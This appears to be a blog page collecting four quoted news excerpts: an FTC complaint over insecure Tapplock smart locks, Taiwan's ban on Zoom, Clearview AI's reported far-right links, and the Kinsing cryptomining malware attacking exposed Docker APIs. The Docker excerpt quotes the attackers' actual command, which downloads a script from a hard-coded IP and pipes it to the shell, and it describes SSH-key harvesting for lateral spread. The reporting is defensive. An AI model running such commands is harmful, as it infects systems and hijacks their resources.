Easy-to-pick “smart” locks gush personal data, FTC finds

A padlock—whether it uses a combination, a key, or “smart” tech—has exactly one job: to keep your stuff safe so other people can’t get it. Tapplock, Inc., based in Canada, produces such a product. The company’s locks unlock with a fingerprint or an app connected by Bluetooth to your phone. Unfortunately, the Federal Trade Commission said, the locks are full of both digital and physical vulnerabilities that leave users’ stuff, and data, at risk.

The FTC’s complaint (PDF) against Tapplock, released Monday, basically alleges that the company misrepresented itself, because it marketed its products as secure and tested when they were neither. A product—any product—simply being kind of crappy doesn’t necessarily fall under the FTC’s purview. Saying untrue things about your product in your advertisement or privacy policy, however, will make the commission very unhappy with you indeed.

“We allege that Tapplock promised that its Internet-connected locks were secure, but in fact the company failed to even test if that claim was true,” Andrew Smith, director of the FTC’s Bureau of Consumer Protection, said in a written statement. “Tech companies should remember the basics—when you promise security, you need to deliver security.”

Tapplock’s advertisements say its flagship product, the Tapplock One, can store up to 500 user fingerprints and can be connected to an “unlimited” number of devices through the app—a design optimized for something many people need to be able to access and for which handing off a physical key is impractical. To make the $99 lock work, Tapplock collects a great deal of personal information on its users, including usernames, email addresses, profile photos, location history, and the precise location of a user’s lock.

[…]

The lock may be built with “7mm reinforced stainless steel shackles, strengthened by double-layered lock design with anti-shim and anti-pry technologies,” as Tapplock’s website promises, but according to the FTC, perhaps it should have considered anti-screwdriver technologies. As it turns out, a researcher was able to unlock the lock “within a matter of seconds” by unscrewing the back panel. Oops.

The complaint also pointed to several “reasonably foreseeable” software vulnerabilities that the FTC alleges Tapplock could have avoided if the company “had implemented simple, low-cost steps.”

One vulnerability security researchers identified allowed a user to bypass the account authentication process entirely in order to gain full access to the account of literally any Tapplock user, including their personal information. And how could this happen? “A researcher who logged in with a valid user credential could then access another user’s account without being re-directed back to the login page, thereby allowing the researcher to circumvent Respondent’s authentication procedures altogether,” the complaint explains.

A second vulnerability allowed researchers the ability to access and unlock any lock they could get close enough to with a working Bluetooth connection. That’s because Tapplock “failed to encrypt the Bluetooth communication between the lock and the app,” leaving the data wide open for the researchers to discover and replicate.

The third vulnerability outlined in the complaint also has to do with a failure to secure communication data. That app that allows “unlimited” connections? The primary owner can of course add and revoke authorized users from the lock. But someone whose access was revoked could still access the lock because the vulnerability allowed for sniffing out the relevant data packets.

How’d this happen?

And how did Tapplock fail to discover any of these weaknesses? Because the company did not have a security program prior to the third-party researchers’ discoveries, the FTC alleges.

Source: Easy-to-pick “smart” locks gush personal data, FTC finds | Ars Technica

Zoom banned by Taiwan’s government over China security fears

Zoom has been banned from government business in Taiwan in the latest setback for the hugely popular video-calling app.

It follows revelations that some Zoom traffic was “mistakenly” routed through China, which does not recognise Taiwan’s independence.

Taiwan’s government said public bodies should not use products with security concerns “such as Zoom”.

But competitors like Google and Microsoft were acceptable, it said.

China considers Taiwan a breakaway rebel province, destined to be reunited with the mainland.

Last week, researchers discovered that some traffic from the video-calling app was being sent through Beijing – even when all participants on the Zoom call were in North America.

The team from University of Toronto’s Citizen Lab also highlighted that Zoom has several hundred employees in mainland China, which “could also open up Zoom to pressure from Chinese authorities”.

Zoom said the traffic was “mistakenly” routed through Beijing, and apologised.

Despite the response from Zoom, Taiwan has told its public institutions to use other software.

Where possible, domestic solutions should be used, it said, adding that in special circumstances, Google or Microsoft’s apps were acceptable. Those firms operate the Duo and Skype services respectively.

It is the latest blow to Zoom, which has exploded in popularity during the coronavirus pandemic, resulting in increased scrutiny.

Source: Zoom banned by Taiwan’s government over China security fears – BBC News

Creepy Face Recognition Firm Clearview AI Sure Has a Lot of Ties to the Far Right – the extremist kinds of far right

Clearview AI, the dystopian face recognition company that claims to have amassed a database of billions of photos, signed contracts with hundreds of law enforcement agencies, and shopped its app around to the rich and powerful, has extensive links to the far right, according to a Huffington Post investigation. In fact, one of its associates claimed to have been working on a face recognition product explicitly designed to be useful for mass deportations.

Founder Hoan Ton-That’s has links to the far-right movement that move right past suspicious into obvious, according to HuffPo. He reportedly attended a 2016 dinner with white supremacist Richard Spencer and organized by alt-right financier Jeff Giesea, an associate of Palantir founder and Trump-supporting billionaire Peter Thiel. (Thiel secretly bankrolled a lawsuit that bankrupted Gizmodo’s former parent company, Gawker Media.) Ton-That was also a member of a Slack channel run by professional troll Chuck Johnson for his now-defunct WeSearchr, a crowdfunding platform primarily used by white supremacists; that channel included people like the webmaster of neo-Nazi site Daily Stormer, Andrew Auernheimer, and conspiracy theorist Mike Cernovich,

Per HuffPo, in January 2017 Johnson posted on Facebook that he was working on “building algorithms to ID all the illegal immigrants for the deportation squads.” Another source told HuffPo that they had seen him bragging about that work to “a whole bunch of really important people” at Trump’s DC hotel that spring, introducing them to a man the source identified as almost certainly being Ton-That.

Johnson, who was involved with Trump’s transition team, also hit up then-Breitbart employee Katie McHugh, who at that time was a white supremacist but has since left the movement. McHugh told HuffPo that Johnson asked to be put in contact with ghoulish Trump adviser Stephen Miller so he could tout a “way to identify every illegal alien in the country.” (It’s unclear whether that happened, but Clearview’s clients include Immigration and Customs Enforcement and the FBI.) That same year, Thiel invested $200,000 in Clearview.

Smartcheckr’s labor pool also included many ethnonationalists who believe in purging the U.S. of nonwhites, according to HuffPo. One of those was hardcore racist and Johnson associate Tyler Bass, who described himself as an “investigator” doing “remote software testing” for the app and whose LinkedIn posts suggest may have had access to law enforcement data associated with criminal investigations as late as 2018. Bass also claimed to McHugh to have been in attendance at a disastrous far-right rally in Charlottesville, Virginia in 2017, where a neo-Nazi terror attack killed protester Heather Heyer and wounded scores of others.

Another was Douglass Mackey, the overseer of a vast online racist propaganda operation under the moniker “Ricky Vaughn,” had a role as a contract consultant for Smartcheckr. While there, he touted the use of its face recognition tools to anti-Semitic congressional candidate Paul Nehlen for extreme campaign opposition research. (Ton-That told HuffPo that Mackey was only a contractor for three weeks and his offer to Nehlen was unauthorized, though Smartcheckr employees took steps to distance themselves from Mackey after he was outed as “Ricky Vaughn” in 2018.)

There was also Marko Jukic, HuffPo wrote, a Clearview AI employee who marketed its products to police departments and had a history as a prolific contributor to extremist blogs, including a post where he advocated “segregation and separation” of Jews. One of Clearview’s lawyers, Tor Ekeland, is best known for representing far-right provocateurs and racists like Auernheimer.

Johnson appears to have had access to WeSearchr until at least January 2020, when he showed a fellow passenger on a flight to Boston a powerful face recognition app on his phone, according to a BuzzFeed report. In a statement to HuffPo, Ton-That denied that Johnson was an “executive, employee, consultant” or board member of Clearview, though he didn’t clarify whether Johnson holds equity in the company. He also told the site that Clearview has severed ties with Bass and Jukic, claiming he was “shocked by and completely unaware of Marko Jukic’s online writings under a different name.” (Jukic used the same pseudonym to talk with Ton-That on Slack and email that he did in his racist blog posts, HuffPo noted.)

Ton-That also told the site that he grew up on the internet, which “not always served me well” during his upbringing, ad“There was a period when I explored a range of ideas—not out of belief in any of them, but out of a desire to search for self and place in the world. I have finally found it, and the mission to help make America a safer place. To those who have read my words in the Huffington Post article, I deeply apologize for them.”

Clearview built its face recognition database by scraping photos en masse from public social media posts, a practice that is technically legal but could expose it to significant civil liability from rights holders. While scraping is legal, Clearview’s business practices have resulted in cease-and-desists from Silicon Valley giants like Google, and may have run afoul of other laws. The state attorney general of Vermont filed a lawsuit against the company last month alleging violations of the Vermont Consumer Protection Act and a state data broker law, while the AG of New Jersey ordered all police in the state to stop using Clearview products. Canadian privacy commissioners are investigating the company; it is also facing two class action lawsuits, one of which alleges that the company violated Illinois biometrics laws.

Source: Creepy Face Recognition Firm Clearview AI Sure Has a Lot of Ties to the Far Right

If you don’t cover your Docker daemon API port you’ll have a hell of a time… because cryptocreeps are hunting for it

Some Docker installations are getting hammered by malware skiddies hoping to mine digital cash using other people’s CPU time.

Infosec outfit Aqua – no, not the Barbie Girl band – said miscreants have spotted that a decent number of Docker deployments are lazily or inadvertently exposing the daemon API port to the public internet with no protection. It’s a fairly common error that hackers have exploited in the past to mine digital coins, although lately we’re told there have been thousands of infection attempts daily via this interface, all involving a piece of Linux malware dubbed Kinsing.

“These are the highest numbers we’ve seen in some time, far exceeding what we have witnessed to date,” noted researcher Gal Singer this week.

“We therefore believe that these attacks are directed by actors with sufficient resources and the infrastructure needed to carry out and sustain such attacks, and that this is not an improvised endeavor.”

If an open system is found, the attacker tells it to create and run a custom Ubuntu container that executes the following command:

/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null

The fetched d.sh script disables SELINUX security protections, as well as searches out and removes any other malware or cryptomining containers already running on the infected machine. That way it won’t have to compete for CPU time. It uses crontab to ensure it stays running every minute, and a bunch of other stuff: it’s 600 lines long.

The script also downloads the Kinsing malware proper, and runs it. This software nasty tries to make contact with one of four command and control servers in Eastern Europe for any special orders to carry out on the infected system. It also runs a script, called spre.sh, that uses any SSH keys it finds to log into and spread to other machines to run its code.

“The spre.sh shell script that the malware downloads is used to laterally spread the malware across the container network,” Aqua’s Singer said.

“In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from /.ssh/config, .bash_history, /.ssh/known_hosts, and the likes. We did not identify any active scanning techniques used to identify additional targets.”

Once that is done, the mining component of the malware is finally executed.

Kinsing malware diagram

A diagram of the attack process
click to enlarge

The Register has pinged Docker for comment on the attacks. In the meantime, Singer and Aqua recommend blocking the IP addresses linked to this outbreak. It’s also highly recommended you don’t leave the daemon API port facing the internet, and use policies and configurations to limit what systems are allowed to talk to the interface.

“Identify all cloud resources and group them by some logical structure,” said the team. “Review authorization and authentication policies, basic security policies, and adjust them according to the principle of least privilege. Investigate logs, mostly around user actions, look for actions you can’t account for anomalies.” ®

Source: If you don’t cover your Docker daemon API port you’ll have a hell of a time… because cryptocreeps are hunting for it • The Register